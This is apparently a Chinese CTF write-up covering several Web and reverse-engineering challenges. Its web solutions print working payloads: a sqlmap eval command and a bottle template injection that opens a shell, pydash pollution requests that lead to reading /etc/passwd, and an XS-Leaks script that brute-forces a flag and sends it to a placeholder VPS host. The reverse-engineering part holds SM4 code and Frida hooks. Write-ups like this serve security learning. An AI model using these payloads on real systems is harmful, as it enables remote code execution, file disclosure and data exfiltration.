Web
sqlmap-master
http://127.0.0.1:8000 --eval=print(__import__("os").environ.get("FLAG"))
ez_dash
用不到set_,直接非预期
bottle用%
或<% %>
可以执行python代码,过滤了.
用chr(46)拼接绕过,最后套个eval,无回显RCE弹个shell即可
eval("__import__('os')"+chr(46)+"system(__import__('base64')"+chr(46)+"b64decode('BASE64_PAYLOAD')"+chr(46)+"decode())")
ez_dash_rev
全ban了,看一下bottle template的源码,参数传入为tpl,可以解析为名称、文件名或模板字符串
“”"
将渲染的模板作为字符串迭代器获取。
您可以使用名称、文件名或模板字符串作为第一个参数。
模板渲染参数可以作为字典传递
或直接 (作为关键字参数)。“”"
def template(*args, **kwargs):
"""
Get a rendered template as a string iterator.
You can use a name, a filename or a template string as first parameter.
Template rendering arguments can be passed as dictionaries
or directly (as keyword arguments).
"""
tpl = args[0] if args else None
for dictarg in args[1:]:
kwargs.update(dictarg)
adapter = kwargs.pop('template_adapter', SimpleTemplate)
lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)
tplid = (id(lookup), tpl)
if tplid not in TEMPLATES or DEBUG:
settings = kwargs.pop('template_settings', {})
if isinstance(tpl, adapter):
TEMPLATES[tplid] = tpl
if settings: TEMPLATES[tplid].prepare(**settings)
elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:
TEMPLATES[tplid] = adapter(source=tpl, lookup=lookup, **settings)
else:
TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
if not TEMPLATES[tplid]:
abort(500, 'Template (%s) not found' % tpl)
return TEMPLATES[tplid].render(kwargs)
elif "\n" in tpl or "{" in tpl or "%" in tpl or '$' in tpl:
分支检测字符是否存在,不过这几个字符几乎都被ban了,继续到下一个else分支
TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings)
adapter为模板适配器,SimpleTemplate为默认模板,BaseTemplate为SimpleTemplate的基类,追溯到BaseTemplate类
“”“创建新模板。
如果缺少 source 参数(str 或 buffer),则 name 参数用于猜测模板文件名。
子类可以假定self.source 和/或 self.filename 设置。两者都是字符串。
lookup、encoding 和 settings 参数存储为 instance 变量。
lookup 参数存储包含目录路径的列表。
encoding 参数应用于解码字节字符串或文件。
settings 参数包含用于特定于引擎的设置的列表。
“””
class BaseTemplate(object):
""" Base class and minimal API for template adapters """
extensions = ['tpl', 'html', 'thtml', 'stpl']
settings = {} #used in prepare()
defaults = {} #used in render()
def __init__(self,
source=None,
name=None,
lookup=None,
encoding='utf8', **settings):
""" Create a new template.
If the source parameter (str or buffer) is missing, the name argument
is used to guess a template filename. Subclasses can assume that
self.source and/or self.filename are set. Both are strings.
The lookup, encoding and settings parameters are stored as instance
variables.
The lookup parameter stores a list containing directory paths.
The encoding parameter should be used to decode byte strings or files.
The settings parameter contains a dict for engine-specific settings.
"""
self.name = name
self.source = source.read() if hasattr(source, 'read') else source
self.filename = source.filename if hasattr(source, 'filename') else None
self.lookup = [os.path.abspath(x) for x in lookup] if lookup else []
self.encoding = encoding
self.settings = self.settings.copy() # Copy from class variable
self.settings.update(settings) # Apply
if not self.source and self.name:
self.filename = self.search(self.name, self.lookup)
if not self.filename:
raise TemplateError('Template %s not found.' % repr(name))
if not self.source and not self.filename:
raise TemplateError('No template specified.')
self.prepare(**self.settings)
@classmethod
def search(cls, name, lookup=None):
""" Search name in all directories specified in lookup.
First without, then with common extensions. Return first hit. """
if not lookup:
raise depr(0, 12, "Empty template lookup path.", "Configure a template lookup path.")
if os.path.isabs(name):
raise depr(0, 12, "Use of absolute path for template name.",
"Refer to templates with names or paths relative to the lookup path.")
for spath in lookup:
spath = os.path.abspath(spath) + os.sep
fname = os.path.abspath(os.path.join(spath, name))
if not fname.startswith(spath): continue
if os.path.isfile(fname): return fname
for ext in cls.extensions:
if os.path.isfile('%s.%s' % (fname, ext)):
return '%s.%s' % (fname, ext)
@classmethod
def global_config(cls, key, *args):
""" This reads or sets the global settings stored in class.settings. """
if args:
cls.settings = cls.settings.copy() # Make settings local to class
cls.settings[key] = args[0]
else:
return cls.settings[key]
def prepare(self, **options):
""" Run preparations (parsing, caching, ...).
It should be possible to call this again to refresh a template or to
update settings.
"""
raise NotImplementedError
def render(self, *args, **kwargs):
""" Render the template with the specified local variables and return
a single byte or unicode string. If it is a byte string, the encoding
must match self.encoding. This method must be thread-safe!
Local variables may be provided in dictionaries (args)
or directly, as keywords (kwargs).
"""
raise NotImplementedError
可以看到__init__提供source、name、lookup、encoding等参数,其中source和name仅设置name就会lookup列表的路径中获取名为name值的文件
再回到template函数,lookup默认为TEMPLATE_PATH
lookup = kwargs.pop('template_lookup', TEMPLATE_PATH)
而TEMPLATE_PATH默认包含./
、./views/
两个PATH,template会从这两个路径去获取tpl文件并渲染
TEMPLATE_PATH = ['./', './views/']
这样,我们可以修改bottle中TEMPLATE_PATH,改为我们想要获取文件的PATH,可以改为/
,但实际上/render路由限制了path参数的字数为10
/setValue路由name限制六个字节,只能利用全局中的setval函数去找__globals__
POST /setValue?name=setval HTTP/1.1
Content-Type: application/json
{
"path": "__globals__.bottle.TEMPLATE_PATH",
"value": ["/etc"]
}
不过在实验中,发现__globals__
报错
KeyError: "access to restricted key '__globals__' is not allowed"
发现是pydash.helpers中限制path路径中包含__globals__
#: Object keys that are restricted from access via path access.
RESTRICTED_KEYS = ("__globals__", "__builtins__")
利用set_修改pydash.helpers.RESTRICTED_KEYS为空
POST /setValue?name=pydash HTTP/1.1
Content-Type: application/json
{
"path":"helpers.RESTRICTED_KEYS",
"value":[]
}
然后再修改TEMPLATE_PATH,返回yes,此时模板文件PATH路径改为/etc,将会在/etc中获取文件,类似环境变量中PATH
POST /setValue?name=setval HTTP/1.1
Content-Type: application/json
{
"path": "__globals__.bottle.TEMPLATE_PATH",
"value": ["/etc"]
}
最后/render?path=passwd渲染文件实现任意读
internal_api
main.rs中控制四个路由,/
、/report
、/search
、/search/internal/search
db.rs中flag在初始化init时放入数据库中,并设hidden为true
conn.execute(
"INSERT INTO comments(content, hidden) VALUES(?, ?)",
params![flag, true],
)?;
还提供一个search模糊查询功能,接受query和hidden两个参数
pub fn search(conn: DbConn, query: String, hidden: bool) -> anyhow::Result<Vec<String>> {
let mut stmt =
conn.prepare("SELECT content FROM comments WHERE content LIKE ? AND hidden = ?")?;
let comments = stmt
.query_map(params![format!("%{}%", query), hidden], |row| {
Ok(row.get(0)?)
})?
.collect::<rusqlite::Result<Vec<String>>>()?;
Ok(comments)
}
route.rs提供public_search和private_search
-
public_search通过/search路由GET请求接受,接收s参数,允许任意ip访问,hidden设为flase,无法查询到flag
-
private_search通过/internal/search路由GET请求,接收s参数,仅允许本地访问,hidden设为true,可以查询到flag
-
report通过/report路由POST请求,接收url参数,bot会访问该url链接
显然这题是xss题目,需要在外链上构造一个xss供bot访问,触发xss,让bot访问/internal/search查询flag并返回到vps上,但似乎由于SOP一些策略不能访问到/internal/search
这就要用上XS-Leaks,类似于bool盲注,查询成功时是200,失败时是500
XSleaks - SCU-CTF HomePage改改直接用
<script>
const VPS_IP = 'http://<vps>'
const chars = "0123456789abcdefghijklmnopqrstuvwxyz-{}";
const oracle = async (url) => {
return new Promise((resolve, reject) => {
const object = document.createElement("script");
object.src = url;
object.onload = resolve;
object.onerror = reject;
document.head.appendChild(object);
});
}
const search = async (url) => {
try {
await oracle(url)
return true;
} catch (e) {
return false;
}
}
(async () => {
let flag = 'f';
let url = `http://127.0.0.1:8000/internal/search?s=${flag}`
while (flag.charAt(flag.length - 1) !== "}") {
for ( let i of chars ) {
if ( await(search(url + escape(i))) ) {
url = url + escape(i)
flag += i
await fetch(`${VPS_IP}/?flag=${flag}`, {mode: 'no-cors'})
break;
} else {
console.log('failed');
}
}
}
})();
</script>
Re
SafeProgram
发现sm4特征D690E9FE
动调拿到key:NCTF24nctfNCTF24
解密无果发现sbox被改了
#include <string.h>
#include <stdio.h>
#include <time.h>
/*--------------------------------------------------------------------------------------------------------------*/
#define SM4_ENCRYPT 1
#define SM4_DECRYPT 0
/*--------------------------------------------------------------------------------------------------------------*/
/**
* \brief SM4 context structure
*/
typedef struct
{
int mode; /*!< encrypt/decrypt */
unsigned long sk[32]; /*!< SM4 subkeys */
}
sm4_context;
/*--------------------------------------------------------------------------------------------------------------*/
/**
* \brief SM4 key schedule (128-bit, encryption)
*
* \param ctx SM4 context to be initialized
* \param key 16-byte secret key
*/
void sm4_setkey_enc(sm4_context* ctx, unsigned char key[16]);
/*--------------------------------------------------------------------------------------------------------------*/
/**
* \brief SM4 key schedule (128-bit, decryption)
*
* \param ctx SM4 context to be initialized
* \param key 16-byte secret key
*/
void sm4_setkey_dec(sm4_context* ctx, unsigned char key[16]);
/*--------------------------------------------------------------------------------------------------------------*/
/**
* \brief SM4-ECB block encryption/decryption
* \param ctx SM4 context
* \param mode SM4_ENCRYPT or SM4_DECRYPT
* \param length length of the input data
* \param input input block
* \param output output block
*/
void sm4_crypt_ecb(sm4_context* ctx,
int mode,
int length,
unsigned char* input,
unsigned char* output);
/*--------------------------------------------------------------------------------------------------------------*/
/**
* \brief SM4-CBC buffer encryption/decryption
* \param ctx SM4 context
* \param mode SM4_ENCRYPT or SM4_DECRYPT
* \param length length of the input data
* \param iv initialization vector (updated after use)
* \param input buffer holding the input data
* \param output buffer holding the output data
*/
void sm4_crypt_cbc(sm4_context* ctx,
int mode,
int length,
unsigned char iv[16],
unsigned char* input,
unsigned char* output);
/*--------------------------------------------------------------------------------------------------------------*/
/*
* 32-bit integer manipulation macros (big endian)
*/
#ifndef GET_ULONG_BE
#define GET_ULONG_BE(n,b,i) \
{ \
(n) = ( (unsigned long) (b)[(i) ] << 24 ) \
| ( (unsigned long) (b)[(i) + 1] << 16 ) \
| ( (unsigned long) (b)[(i) + 2] << 8 ) \
| ( (unsigned long) (b)[(i) + 3] ); \
}
#endif
/*--------------------------------------------------------------------------------------------------------------*/
#ifndef PUT_ULONG_BE
#define PUT_ULONG_BE(n,b,i) \
{ \
(b)[(i) ] = (unsigned char) ( (n) >> 24 ); \
(b)[(i) + 1] = (unsigned char) ( (n) >> 16 ); \
(b)[(i) + 2] = (unsigned char) ( (n) >> 8 ); \
(b)[(i) + 3] = (unsigned char) ( (n) ); \
}
#endif
/*--------------------------------------------------------------------------------------------------------------*/
/*
*rotate shift left marco definition
*
*/
#define SHL(x,n) (((x) & 0xFFFFFFFF) << n)
#define ROTL(x,n) (SHL((x),n) | ((x) >> (32 - n)))
#define SWAP(a,b) { unsigned long t = a; a = b; b = t; t = 0; }
/*--------------------------------------------------------------------------------------------------------------*/
/*
* Expanded SM4 S-boxes
/* Sbox table: 8bits input convert to 8 bits output*/
char SboxTable[16][16] =
{
{ 0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05 },
{ 0x2b,0x67,0x9a,0x76,0x2a,0xbe,0x04,0xc3,0xaa,0x44,0x13,0x26,0x49,0x86,0x06,0x99 },
{ 0x9c,0x42,0x50,0xf4,0x91,0xef,0x98,0x7a,0x33,0x54,0x0b,0x43,0xed,0xcf,0xac,0x62 },
{ 0xe4,0xb3,0x1c,0xa9,0xc9,0x08,0xe8,0x95,0x80,0xdf,0x94,0xfa,0x75,0x8f,0x3f,0xa6 },
{ 0x47,0x07,0xa7,0xfc,0xf3,0x73,0x17,0xba,0x83,0x59,0x3c,0x19,0xe6,0x85,0x4f,0xa8 },
{ 0x68,0x6b,0x81,0xb2,0x71,0x64,0xda,0x8b,0xf8,0xeb,0x0f,0x4b,0x70,0x56,0x9d,0x35 },
{ 0x1e,0x24,0x0e,0x5e,0x63,0x58,0xd1,0xa2,0x25,0x22,0x7c,0x3b,0x01,0x21,0x78,0x87 },
{ 0xd4,0x00,0x46,0x57,0x9f,0xd3,0x27,0x52,0x4c,0x36,0x02,0xe7,0xa0,0xc4,0xc8,0x9e },
{ 0xea,0xbf,0x8a,0xd2,0x40,0xc7,0x38,0xb5,0xa3,0xf7,0xf2,0xce,0xf9,0x61,0x15,0xa1 },
{ 0xe0,0xae,0x5d,0xa4,0x9b,0x34,0x1a,0x55,0xad,0x93,0x32,0x30,0xf5,0x8c,0xb1,0xe3 },
{ 0x1d,0xf6,0xe2,0x2e,0x82,0x66,0xca,0x60,0xc0,0x29,0x23,0xab,0x0d,0x53,0x4e,0x6f },
{ 0xd5,0xdb,0x37,0x45,0xde,0xfd,0x8e,0x2f,0x03,0xff,0x6a,0x72,0x6d,0x6c,0x5b,0x51 },
{ 0x8d,0x1b,0xaf,0x92,0xbb,0xdd,0xbc,0x7f,0x11,0xd9,0x5c,0x41,0x1f,0x10,0x5a,0xd8 },
{ 0x0a,0xc1,0x31,0x88,0xa5,0xcd,0x7b,0xbd,0x2d,0x74,0xd0,0x12,0xb8,0xe5,0xb4,0xb0 },
{ 0x89,0x69,0x97,0x4a,0x0c,0x96,0x77,0x7e,0x65,0xb9,0xf1,0x09,0xc5,0x6e,0xc6,0x84 },
{ 0x18,0xf0,0x7d,0xec,0x3a,0xdc,0x4d,0x20,0x79,0xee,0x5f,0x3e,0xd7,0xcb,0x39,0x48 }
};
/*--------------------------------------------------------------------------------------------------------------*/
/* System parameter */
static const unsigned long FK[4] =
{ 0xa3b1bac6,0x56aa3350,0x677d9197,0xb27022dc };
/*--------------------------------------------------------------------------------------------------------------*/
/* fixed parameter */
static const unsigned long CK[32] =
{
0x00070e15,0x1c232a31,0x383f464d,0x545b6269,
0x70777e85,0x8c939aa1,0xa8afb6bd,0xc4cbd2d9,
0xe0e7eef5,0xfc030a11,0x181f262d,0x343b4249,
0x50575e65,0x6c737a81,0x888f969d,0xa4abb2b9,
0xc0c7ced5,0xdce3eaf1,0xf8ff060d,0x141b2229,
0x30373e45,0x4c535a61,0x686f767d,0x848b9299,
0xa0a7aeb5,0xbcc3cad1,0xd8dfe6ed,0xf4fb0209,
0x10171e25,0x2c333a41,0x484f565d,0x646b7279
};
/*--------------------------------------------------------------------------------------------------------------*/
/*
* private function:
* look up in SboxTable and get the related value.
* args: [in] inch: 0x00~0xFF (8 bits unsigned value).
*/
static unsigned char sm4Sbox(unsigned char inch)
{
unsigned char* pTable = (unsigned char*)SboxTable;
unsigned char retVal = (unsigned char)(pTable[inch]);
return retVal;
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* private F(Lt) function:
* "T algorithm" == "L algorithm" + "t algorithm".
* args: [in] a: a is a 32 bits unsigned value;
* return: c: c is calculated with line algorithm "L" and nonline algorithm "t"
*/
static unsigned long sm4Lt(unsigned long ka)
{
unsigned long bb = 0;
unsigned long c = 0;
unsigned char a[4];
unsigned char b[4];
PUT_ULONG_BE(ka, a, 0)
b[0] = sm4Sbox(a[0]);
b[1] = sm4Sbox(a[1]);
b[2] = sm4Sbox(a[2]);
b[3] = sm4Sbox(a[3]);
GET_ULONG_BE(bb, b, 0)
c = bb ^ (ROTL(bb, 2)) ^ (ROTL(bb, 10)) ^ (ROTL(bb, 18)) ^ (ROTL(bb, 24));
return c;
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* private F function:
* Calculating and getting encryption/decryption contents.
* args: [in] x0: original contents;
* args: [in] x1: original contents;
* args: [in] x2: original contents;
* args: [in] x3: original contents;
* args: [in] rk: encryption/decryption key;
* return the contents of encryption/decryption contents.
*/
static unsigned long sm4F(unsigned long x0, unsigned long x1, unsigned long x2, unsigned long x3, unsigned long rk)
{
return (x0 ^ sm4Lt(x1 ^ x2 ^ x3 ^ rk));
}
/*--------------------------------------------------------------------------------------------------------------*/
/* private function:
* Calculating round encryption key.
* args: [in] a: a is a 32 bits unsigned value;
* return: sk[i]: i{0,1,2,3,...31}.
*/
static unsigned long sm4CalciRK(unsigned long ka)
{
unsigned long bb = 0;
unsigned long rk = 0;
unsigned char a[4];
unsigned char b[4];
PUT_ULONG_BE(ka, a, 0)
b[0] = sm4Sbox(a[0]);
b[1] = sm4Sbox(a[1]);
b[2] = sm4Sbox(a[2]);
b[3] = sm4Sbox(a[3]);
GET_ULONG_BE(bb, b, 0)
rk = bb ^ (ROTL(bb, 13)) ^ (ROTL(bb, 23));
return rk;
}
/*--------------------------------------------------------------------------------------------------------------*/
static void sm4_setkey(unsigned long SK[32], unsigned char key[16])
{
unsigned long MK[4];
unsigned long k[36];
unsigned long i = 0;
GET_ULONG_BE(MK[0], key, 0);
GET_ULONG_BE(MK[1], key, 4);
GET_ULONG_BE(MK[2], key, 8);
GET_ULONG_BE(MK[3], key, 12);
k[0] = MK[0] ^ FK[0];
k[1] = MK[1] ^ FK[1];
k[2] = MK[2] ^ FK[2];
k[3] = MK[3] ^ FK[3];
for (; i < 32; i++)
{
k[i + 4] = k[i] ^ (sm4CalciRK(k[i + 1] ^ k[i + 2] ^ k[i + 3] ^ CK[i]));
SK[i] = k[i + 4];
}
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* SM4 standard one round processing
*
*/
static void sm4_one_round(unsigned long sk[32],
unsigned char input[16],
unsigned char output[16])
{
unsigned long i = 0;
unsigned long ulbuf[36];
memset(ulbuf, 0, sizeof(ulbuf));
GET_ULONG_BE(ulbuf[0], input, 0)
GET_ULONG_BE(ulbuf[1], input, 4)
GET_ULONG_BE(ulbuf[2], input, 8)
GET_ULONG_BE(ulbuf[3], input, 12)
while (i < 32)
{
ulbuf[i + 4] = sm4F(ulbuf[i], ulbuf[i + 1], ulbuf[i + 2], ulbuf[i + 3], sk[i]);
i++;
}
PUT_ULONG_BE(ulbuf[35], output, 0);
PUT_ULONG_BE(ulbuf[34], output, 4);
PUT_ULONG_BE(ulbuf[33], output, 8);
PUT_ULONG_BE(ulbuf[32], output, 12);
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* SM4 key schedule (128-bit, encryption)
*/
void sm4_setkey_enc(sm4_context* ctx, unsigned char key[16])
{
ctx->mode = SM4_ENCRYPT;
sm4_setkey(ctx->sk, key);
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* SM4 key schedule (128-bit, decryption)
*/
void sm4_setkey_dec(sm4_context* ctx, unsigned char key[16])
{
int i;
ctx->mode = SM4_ENCRYPT;
sm4_setkey(ctx->sk, key);
for (i = 0; i < 16; i++)
{
SWAP(ctx->sk[i], ctx->sk[31 - i]);
}
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* SM4-ECB block encryption/decryption
*/
void sm4_crypt_ecb(sm4_context* ctx,
int mode,
int length,
unsigned char* input,
unsigned char* output)
{
while (length > 0)
{
sm4_one_round(ctx->sk, input, output);
input += 16;
output += 16;
length -= 16;
}
}
/*--------------------------------------------------------------------------------------------------------------*/
/*
* SM4-CBC buffer encryption/decryption
*/
void sm4_crypt_cbc(sm4_context* ctx,
int mode,
int length,
unsigned char iv[16],
unsigned char* input,
unsigned char* output)
{
int i;
unsigned char temp[16];
if (mode == SM4_ENCRYPT)
{
while (length > 0)
{
for (i = 0; i < 16; i++)
output[i] = (unsigned char)(input[i] ^ iv[i]);
sm4_one_round(ctx->sk, output, output);
memcpy(iv, output, 16);
input += 16;
output += 16;
length -= 16;
}
}
else /* SM4_DECRYPT */
{
while (length > 0)
{
memcpy(temp, input, 16);
sm4_one_round(ctx->sk, input, output);
for (i = 0; i < 16; i++)
output[i] = (unsigned char)(output[i] ^ iv[i]);
memcpy(iv, temp, 16);
input += 16;
output += 16;
length -= 16;
}
}
}
char* __fastcall swap(char* a1, char* a2)
{
char* result; // rax
char v3; // [rsp+0h] [rbp-18h]
v3 = *a1;
*a1 = *a2;
result = a2;
*a2 = v3;
return result;
}
unsigned __int8 byte_7FF78E62A0C0[16] =
{
0xDF, 0xD2, 0xC5, 0xD7, 0xA3, 0xA5, 0xFF, 0xF2, 0xE5, 0xF7,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
__int64 fku()
{
__int64 result; // rax
int i; // [rsp+20h] [rbp-18h]
int j; // [rsp+24h] [rbp-14h]
for (i = 0; i < 10; ++i)
{
byte_7FF78E62A0C0[i] ^= 0x91u;
}
for (j = 0; j < 10; ++j)
{
swap(SboxTable[0], &SboxTable[byte_7FF78E62A0C0[j]/16][byte_7FF78E62A0C0[j] % 16]);
}
return 0;
}
/*--------------------------------------------------------------------------------------------------------------*/
int main()
{
fku();
unsigned char key[] = "NCTF24nctfNCTF24";
unsigned char input[32] = { 0xFB, 0x97, 0x3C, 0x3B, 0xF1, 0x99, 0x12, 0xDF, 0x13, 0x30,
0xF7, 0xD8, 0x7F, 0xEB, 0xA0, 0x6C, 0x14, 0x5B, 0xA6, 0x2A,
0xA8, 0x05, 0xA5, 0xF3, 0x76, 0xBE, 0xC9, 0x01, 0xF9, 0x36,
0x7B, 0x46 };
unsigned char output[32];
sm4_context ctx;
unsigned long i;
sm4_setkey_dec(&ctx, key);
sm4_crypt_ecb(&ctx, 0, 16, input, output);
sm4_crypt_ecb(&ctx, 0, 16, &input[16], &output[16]);
for (i = 0; i < 32; i++)
printf("%c", output[i]);
printf("\n");
return 0;
}
ezDOS
0x26长度验证
应该是key
enc比较位置,168是输入加密结果,141为enc密文
丢ai说是rc4,尝试也没解出来
DOSBox直接模拟执行,盲猜是异或,debug一下拿结果
输入0x26个1
输入0x26个2
二者解密结果尝试作运算找规律
a="26 03 4C 68 4b c2 3c 82 4a 55 BD DA 19 F5 95 61 01 91 DC 16 5B D2 47"
b="26 00 4F 6B 48 C1 3F 81 49 56 BE D9 1A F6 96 62 02 92 DF 15 58 D1 44"
a=a.split()
b=b.split()
for i in range(len(a)):
print(int(a[i],16)^int(b[i],16),end=",")
# 0,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,3,
确定是xor,逆出固定的异或值
取出密文,一把嗦哈,爽~
NCTF{Y0u_4r3_Assemb1y_M4st3r_5d0b497e}
x1Login
逆一下libnative.so,发现如下字符串,经典换表
随便找个字符串解一下,再猜一下异或,DecStr.get方法就出来了
不固定,爆破猜就行
或者直接hook
Java.perform(function () {
// 获取 DecStr 类并 Hook get 方法
var DecStr = Java.use("com.nctf.simplelogin.DecStr");
// 精确匹配参数为 String 的 get 方法
DecStr.get.overload('java.lang.String').implementation = function (input) {
// 调用原始方法获取解密后的字符串
var result = this.get(input);
// 打印输入和输出
console.log("[*] DecStr.get(\"" + input + "\") => \"" + result + "\"");
// 返回原始结果,避免影响程序逻辑
return result;
};
});
hook出dex
Java.perform(function () {
var Secure = Java.use('com.nctf.simplelogin.Secure');
Secure.loadDex.overload('android.content.Context', 'java.lang.String').implementation = function (context, name) {
// 调用原方法获取Java的byte[]
var javaByteArray = this.loadDex(context, name);
// 将Java byte[]转换为JavaScript的Uint8Array
var buffer = Java.array('byte', javaByteArray);
var uint8Array = new Uint8Array(buffer);
// 保存到文件
var path = "/data/local/tmp/decrypted.dex"; // 使用可访问的路径
var file = new File(path, "wb");
file.write(uint8Array);
file.close();
console.log("[+] DEX文件已保存至: " + path);
return javaByteArray; // 返回原始Java对象以保证程序逻辑
};
});
dex中对用户名进行验证X1c@dM1n1$t
,以及调用Secure.doCheck对密码进行验证
剩下就是逆向.so,本想将so文件加密-解密-加密过程patch为解密-加密-解密,再重新打包签名,但不知道为什么会反复调用然后程序崩溃
硬解注意arm小端序
enc
adb logcat -s native
des
后了解到这叫3DES